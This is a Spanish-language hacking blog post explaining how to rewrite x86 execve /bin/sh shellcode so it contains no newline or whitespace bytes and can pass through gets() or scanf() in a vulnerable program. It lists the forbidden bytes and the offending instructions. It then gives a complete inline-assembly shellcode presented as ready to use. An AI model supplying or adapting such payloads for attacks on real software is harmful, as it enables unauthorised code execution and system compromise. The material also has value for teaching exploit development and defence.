/* Variable definitions ==================== */ /* Use this with templates/template-twocol.html */ -->

Chat-Kasper MH

Shellcode sin retornos de linea

Posted by kasp3r11 7:02, under |

Hay veces que necesitamos tener la shellcode en una sola linea sin retornos
de carro ni nada parecido. Un caso muy claro de esto es cuando el programa
vulnerable utiliza una llamada a 'gets()' para leer el string que luego se
copiara a un buffer, etc. En este caso si la shellcode contienen un retorno
de linea el programa finalizara la ejecucion de 'gets()' y la scode quedara
a medias, siendo obvio que cuando se ejecute no funcionara correctamente..
En otras ocasiones, aun teniendo una scode sin retornos de linea no es
suficiente. Me estoy refiriendo a cuando el programa vulnerable lee los datos
con una llamada a 'scanf()'. Como todos sabemos, scanf solo lee hasta que se
encuentra un retorno de linea o un espacio en blaco. Resumiendo, necesitamos
una shellcode que no contenga ni retornos de linea ni espacios en blanco. La
lista de caracteres que no debe tener es la siguiente:
 . Retornos de linea:
   + '\f', 0x0c, salto de pagina.
   + '\n', 0x0a, salto de linea.
   + '\r', 0x0d, salto de carro.
   + '\v', 0x0b, tabulacion vertical.
 . Espacios:
   + '\b', 0x08, espacio atras.
   + '\t', 0x09, tabulacion horizontal.
   + '  ', 0x20, espacio en blanco.

Normalmente la tipica shellcode que ejecuta una shell contiene 2 saltos de
linea, 1 tabulacion vertical y 2 espacios atras. La solucion consiste en
cambiar las instruccion conflictivas por otras cuyos 'opcodes' no tengan esos
valores. La instrucciones en cuestion son las siguientes (estan sacadas de
un codigo mas o menos standard de un execve /bin/sh):

+ mov    %eax,0xc(%esi)   -->  1 salto de linea
+ lea    0xc(%esi),%edx   -->  1 salto de linea
+ mov    $0xb,%al         -->  1 tabulacion vertical
+ mov    %esi,0x8(%esi)   -->  1 espacio atras
+ lea    0x8(%esi),%ecx   -->  1 espacio atras

Pues bien, se cambian esas instrucciones por otras que consigan el mismo
resultado y ya esta.. El codigo cambiado seria algo asi:

<-- codigo -->
__asm__("
        jmp   0x19
        popl  %edi
        movl  %edi,0x10(%edi)
        xorl  %edx,%edx
        movb  %dl,0x7(%edi)
        movl  %edx,0x14(%edi)
        movl  %edi,%ebx
        leal  0x50(%edx),%eax
        leal  0x10(%edi),%ecx
        subl  $0x45,%eax
        int   $0x80
        call  -0x1e
        .string \"/bin/sh\"
");
<-- fin codigo -->

Simplemente se ha cambiado el registro %esi por %edi, el metodo de poner %eax
a 0xb y poco mas. Y nada.. ya esta la shellcode lista para ser usada.. ;).

by:kasper11